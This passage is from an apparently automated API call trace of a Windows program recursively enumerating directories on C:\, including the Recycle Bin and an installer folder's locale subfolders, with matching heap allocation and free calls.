dwFlags=0x0, lpMem=0x123fa80 | out: hHeap=0x11a0000) returned 1 [0075.181] FindNextFileW (in: hFindFile=0x11b9d50, lpFindFileData=0x347f700 | out: lpFindFileData=0x347f700*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xba572a, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0075.181] GetProcessHeap () returned 0x11a0000 [0075.181] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x123fa80 [0075.181] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\*", lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName=".", cAlternateFileName="")) returned 0x11b9d90 [0075.182] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="..", cAlternateFileName="")) returned 1 [0075.182] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0075.182] GetProcessHeap () returned 0x11a0000 [0075.182] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1250a90 [0075.182] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0075.182] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.182] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0075.182] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0075.182] FindClose (in: hFindFile=0x11b9dd0 | out: hFindFile=0x11b9dd0) returned 1 [0075.183] GetProcessHeap () returned 0x11a0000 [0075.183] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1250a90 | out: hHeap=0x11a0000) returned 1 [0075.183] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0075.183] GetProcessHeap () returned 0x11a0000 [0075.183] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1250a90 [0075.184] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9c90 [0075.184] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.184] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0075.184] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0075.184] FindClose (in: hFindFile=0x11b9c90 | out: hFindFile=0x11b9c90) returned 1 [0075.184] GetProcessHeap () returned 0x11a0000 [0075.184] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1250a90 | out: hHeap=0x11a0000) returned 1 [0075.185] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0075.185] FindClose (in: hFindFile=0x11b9d90 | out: hFindFile=0x11b9d90) returned 1 [0075.185] GetProcessHeap () returned 0x11a0000 [0075.185] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x123fa80 | out: hHeap=0x11a0000) returned 1 [0075.186] FindNextFileW (in: hFindFile=0x11b9d50, lpFindFileData=0x347f700 | out: lpFindFileData=0x347f700*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xba572a, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0075.186] FindNextFileW (in: hFindFile=0x11b9d50, lpFindFileData=0x347f700 | out: lpFindFileData=0x347f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xba572a, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0075.186] GetProcessHeap () returned 0x11a0000 [0075.186] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x123fa80 [0075.187] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\*", lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName=".", cAlternateFileName="")) returned 0x11ba110 [0075.189] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="..", cAlternateFileName="")) returned 1 [0075.190] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="1025", cAlternateFileName="")) returned 1 [0075.190] GetProcessHeap () returned 0x11a0000 [0075.190] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1250a90 [0075.190] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9c90 [0075.193] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.193] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0075.193] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0075.193] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0075.193] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0075.193] FindClose (in: hFindFile=0x11b9c90 | out: hFindFile=0x11b9c90) returned 1 [0075.194] GetProcessHeap () returned 0x11a0000 [0075.194] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1250a90 | out: hHeap=0x11a0000) returned 1 [0075.195] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="1028", cAlternateFileName="")) returned 1 [0075.195] GetProcessHeap () returned 0x11a0000 [0075.195] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1250a90 [0075.195] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9c90 [0075.198] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.198] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0075.198] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0075.198] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0075.198] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0075.198] FindClose (in: hFindFile=0x11b9c90 | out: hFindFile=0x11b9c90) returned 1 [0075.199] GetProcessHeap () returned 0x11a0000 [0075.200] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1250a90 | out: hHeap=0x11a0000) returned 1 [0075.200] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="1029", cAlternateFileName="")) returned 1 [0075.200] GetProcessHeap () returned 0x11a0000 [0075.200] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1250a90 [0075.200] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9c90 [0075.203] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.203] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0075.203] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0075.203] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0075.203] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0075.203] FindClose (in: hFindFile=0x11b9c90 | out: hFindFile=0x11b9c90) returned 1 [0075.204] GetProcessHeap () returned 0x11a0000 [0075.204] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1250a90 | out: hHeap=0x11a0000) returned 1 [0075.205] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="1030", cAlternateFileName="")) returned 1 [0075.205] GetProcessHeap () returned 0x11a0000 [0075.205] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1250a90 [0075.205] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9c90 [0075.208] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, 